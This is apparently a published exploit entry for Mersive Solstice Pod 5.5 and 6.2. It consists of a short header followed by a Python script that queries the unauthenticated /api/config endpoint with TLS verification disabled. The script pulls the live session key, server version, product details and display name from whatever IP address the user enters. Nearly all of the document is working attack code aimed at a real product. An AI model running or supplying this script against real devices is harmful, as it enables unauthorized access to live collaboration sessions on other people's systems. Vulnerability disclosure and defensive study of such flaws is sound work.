Solstice Pod 5.5 / 6.2 Information Disclosure

# Exploit Title: Solstice Pod API Session Key Extraction via API Endpoint
    # Google Dork: N/A
    # Date: 1/17/2025
    # Exploit Author: The Baldwin School Ethical Hackers
    # Vendor Homepage: https://www.mersive.com/
    # Software Link: https://documentation.mersive.com/en/solstice/about-solstice.html
    # Versions: 5.5, 6.2
    # Tested On: Windows 10, macOS, Linux 
    # CVE: N/A
    # Description: This exploit takes advantage of an unauthenticated API endpoint (`/api/config`) on the Solstice Pod, which exposes sensitive information such as the session key, server version, product details, and display name. By accessing this endpoint without authentication, attackers can extract live session information.
    # Notes: This script extracts the session key, server version, product name, product variant, and display name from the Solstice Pod API. It does not require authentication to interact with the vulnerable `/api/config` endpoint.
    # Impact: Unauthorized users can extract session-related information without authentication. The exposed data could potentially lead to further exploitation or unauthorized access.
    
    #!/usr/bin/env python3
    
    import requests
    import ssl
    from requests.adapters import HTTPAdapter
    from urllib3.poolmanager import PoolManager
    
    # Create an adapter to specify the SSL/TLS version and disable hostname verification
    class SSLAdapter(HTTPAdapter):
        def __init__(self, ssl_context=None, **kwargs):
            # Set the default context if none is provided
            if ssl_context is None:
                ssl_context = ssl.create_default_context()
                ssl_context.set_ciphers('TLSv1.2')  # Force TLSv1.2 (or adjust to other versions if needed)
                ssl_context.check_hostname = False  # Disable hostname checking
                ssl_context.verify_mode = ssl.CERT_NONE  # Disable certificate validation
            self.ssl_context = ssl_context
            super().__init__(**kwargs)
    
        def init_poolmanager(self, *args, **kwargs):
            kwargs['ssl_context'] = self.ssl_context
            return super().init_poolmanager(*args, **kwargs)
    
    # Prompt the user for the IP address
    ip_address = input("Please enter the IP address: ")
    
    # Format the URL with the provided IP address
    url = f"https://{ip_address}:8443/api/config"
    
    # Create a session and mount the adapter
    session = requests.Session()
    adapter = SSLAdapter()
    session.mount('https://', adapter)
    
    # Send the request to the IP address
    response = session.get(url, verify=False)  # verify=False to ignore certificate warnings
    
    if response.status_code == 200:
        # Parse the JSON response
        data = response.json()
    
        # Extract the sessionKey, serverVersion, productName, productVariant, and displayName values from the response
        session_key = data.get("m_authenticationCuration", {}).get("sessionKey")
        server_version = data.get("m_serverVersion")
        product_name = data.get("m_productName")
        product_variant = data.get("m_productVariant")
        display_name = data.get("m_displayInformation", {}).get("m_displayName")
    
        # Print the extracted values
        if session_key:
            print(f"Session Key: {session_key}")
        else:
            print("sessionKey not found in the response.")
    
        if server_version:
            print(f"Server Version: {server_version}")
        else:
            print("serverVersion not found in the response.")
    
        if product_name:
            print(f"Product Name: {product_name}")
        else:
            print("productName not found in the response.")
    
        if product_variant:
            print(f"Product Variant: {product_variant}")
        else:
            print("productVariant not found in the response.")
    
        if display_name:
            print(f"Display Name: {display_name}")
        else:
            print("displayName not found in the response.")
    else:
        print(f"Failed to retrieve data. HTTP Status code: {response.status_code}")